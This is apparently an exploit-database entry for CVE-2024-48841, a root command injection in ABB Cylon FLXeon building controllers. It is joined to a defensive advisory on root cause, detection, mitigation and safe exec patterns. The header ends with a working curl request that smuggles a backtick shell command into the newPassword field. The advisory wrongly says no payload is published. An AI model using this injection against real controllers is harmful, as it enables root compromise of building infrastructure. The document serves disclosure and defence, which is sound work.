ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
# Exploit title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: <=9.3.4
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.
Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
root code execution via the /api/users/password endpoint. An attacker with valid
credentials can inject arbitrary system commands by manipulating the newPassword PUT
parameter. The issue arises in users.js, where the new password is hashed and improperly
escaped before being passed to ChildProcess.exec() within a usermod command, allowing
out of band (blind) command injection.
Tested on: Linux Kernel 5.4.27
Linux Kernel 4.15.13
NodeJS/8.4.0
Express
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2025-5912
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5912.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
21.04.2024
--
$ cat project
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
$ curl -k -X PUT "https://7.3.3.1/api/users/password" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> --data '{"oldPassword":"KAKA","newPassword":"ZULU`sleep 7`"}' ABB Cylon FLXeon 9.3.4 — Remote Code Execution (RCE) (CVE-2024-48841)
Summary
The ABB Cylon FLXeon family of BACnet building controllers (FBXi, FBTi, FBVi, CBX, CBT, CBV series) running firmware versions ≤ 9.3.4 contain a critical remote code execution vulnerability tracked as CVE-2024-48841. The flaw allows an authenticated user to cause server-side command injection via the password-change endpoint, which ultimately results in execution of arbitrary system commands as root.
Affected products and versions
- FLXeon Series (FBXi, FBTi, FBVi)
- CBX Series (FLX)
- CBT Series
- CBV Series
- Firmware versions: ≤ 9.3.4
Advisory and identifiers
- Discoverer: Gjoko “LiquidWorm” Krstic (@zeroscience)
- Zeroscience advisory: ZSL-2025-5912 (published 21.04.2024)
- CVE: CVE-2024-48841
Technical root cause (high-level)
The controller's Node.js application implements password changes by computing a password hash and then calling a Linux user-management command (such as usermod) via a shell execution API (Node's child_process.exec). The code concatenates or interpolates the computed password hash and username into a shell command without properly avoiding shell interpretation. This allows shell metacharacters embedded in the newPassword input to break out of the intended argument context and execute arbitrary commands on the device as the user that runs the management process — in practice, often root.
// Conceptual vulnerable pattern (pseudocode)
const cp = require('child_process');
const hash = hashPassword(newPassword); // e.g., crypt/bcrypt output
// Dangerous: directly constructs a shell command using unescaped strings
const cmd = `usermod -p '${hash}' ${username}`;
cp.exec(cmd, (err, stdout, stderr) => { ... });
Explanation: This example shows the pattern that leads to the vulnerability. By composing a shell command line with unescaped user-controlled data (here the hashed password), shell metacharacters can be injected and executed by the underlying shell invoked by exec(). The snippet is intentionally conceptual and omits implementation details specific to the product.
Why this is dangerous
- Requires only valid credentials — many deployments expose web management interfaces to internal or contractor networks where valid credentials may exist or be guessable.
- Successful exploitation yields arbitrary command execution on the controller, often with root privileges, permitting persistence, data exfiltration, firmware modification, and lateral movement.
- Building management systems such as BACnet controllers are often integrated with HVAC, access control, and other physical infrastructure — compromise can have safety and availability impact.
Proof-of-concept (conceptual)
At a high level, a threat actor who can authenticate to the device's web API and submit a password change request can include payload data that, when the server hashes and embeds it into a shell command, triggers execution. To reduce risk of misuse this article does not publish an actionable exploit payload; instead, defenders should focus on detection and mitigation guidance below.
Detection and indicators of compromise (IoCs)
- Unexpected processes or command executions on controllers (ps outputs showing suspicious shells or one-off commands).
- Authentication attempts and password change requests to /api/users/password originating from unusual IPs or at unusual times.
- Unexplained reboots, configuration changes, or altered firmware/binaries on field controllers.
- Network traffic from controllers to unknown external hosts following alleged compromise.
- Presence of web requests with suspicious payloads (look for password-change POST/PUT traffic where the newPassword field contains shell metacharacters).
Mitigations — immediate and short-term (for operators)
- Network isolation: Restrict access to controller management interfaces to a trusted management VLAN, VPN, or jump host. Block access from untrusted networks and the Internet.
- Access control: Enforce strong passwords, multifactor authentication where possible, and review current user accounts for unnecessary or default accounts.
- Firewall rules: Apply host- and network-level rules to limit outbound connectivity from controllers and block unnecessary services.
- Monitor: Enable and collect logs (web access, syslog, process audit) and look for the IoCs above. Increase alerting for password-change events and unexpected commands.
- Credential rotation: If there is any indication a credential was used maliciously, rotate administrator passwords and keys immediately, after securing the management plane.
- Firmware update: Apply vendor-provided patches or firmware updates when available. If a vendor patch is not available yet, maintain strict network isolation until a fix arrives.
Long-term remediation and secure coding guidance
- Avoid invoking shell commands with untrusted input. When interacting with system utilities, prefer APIs that accept argument arrays and do not invoke a shell (Node.js: child_process.execFile or spawn with args array).
- Do not use string interpolation to construct command lines from user data. If a system call is required, validate inputs strictly and use safe argument passing.
- Use native libraries/APIs for account management or password storage rather than shelling out to system commands where possible; e.g., maintain user credentials in the application with well-known password hashing libraries.
- Use strong password hashing (bcrypt/argon2) and never store raw passwords or pass them directly to shell utilities.
- Instrument and test all code paths that call external processes with fuzzing and code review focused on injection threats.
// Secure pattern (illustrative pseudocode)
const cp = require('child_process');
// Prefer execFile or spawn with argument array to avoid a shell
const args = ['-p', hash, username]; // arguments passed directly
cp.execFile('/usr/sbin/usermod', args, (err, stdout, stderr) => {
if (err) { /* handle error */ }
});
Explanation: execFile executes the specified binary with an argument array rather than passing a single command string to a shell. This prevents shell interpretation of metacharacters inside arguments. The example is conceptual: real-world fixes should also minimize the need to call external CLI tools from web services and should validate inputs.
Vendor coordination and timeline
Responsible disclosure was handled by the discoverer and published via a public advisory (ZSL-2025-5912). Operators should consult ABB’s official channels for any firmware updates or security bulletins addressing this vulnerability and apply vendor-provided fixes as soon as possible. CVE-2024-48841 is the assigned identifier for cross-referencing.
Practical checklist for administrators
- Segregate controller networks from corporate and guest networks; apply least-privilege access.
- Block or restrict access to web management ports at network perimeter and internal firewalls.
- Audit the list of users with access to controllers; remove or disable unneeded accounts.
- Enable logging (syslog, web server, process auditing) and ship logs to a centralized SIEM for correlation.
- Plan and test firmware updates in a maintenance window; verify vendor fixes before deployment.
- If a device is suspected to be compromised, isolate it, preserve logs for forensic analysis, and perform integrity checks or full rebuild as required.
Conclusion
CVE-2024-48841 is a high-severity vulnerability caused by unsafe invocation of system commands from a Node.js web application in ABB Cylon FLXeon controllers. Because exploitation can lead to full system compromise and affects building automation infrastructure, immediate network and access controls combined with vendor patches and secure coding practices are essential to mitigate risk. Operators should treat exposed controller management interfaces as high-risk assets and apply defense-in-depth measures until all affected devices are patched.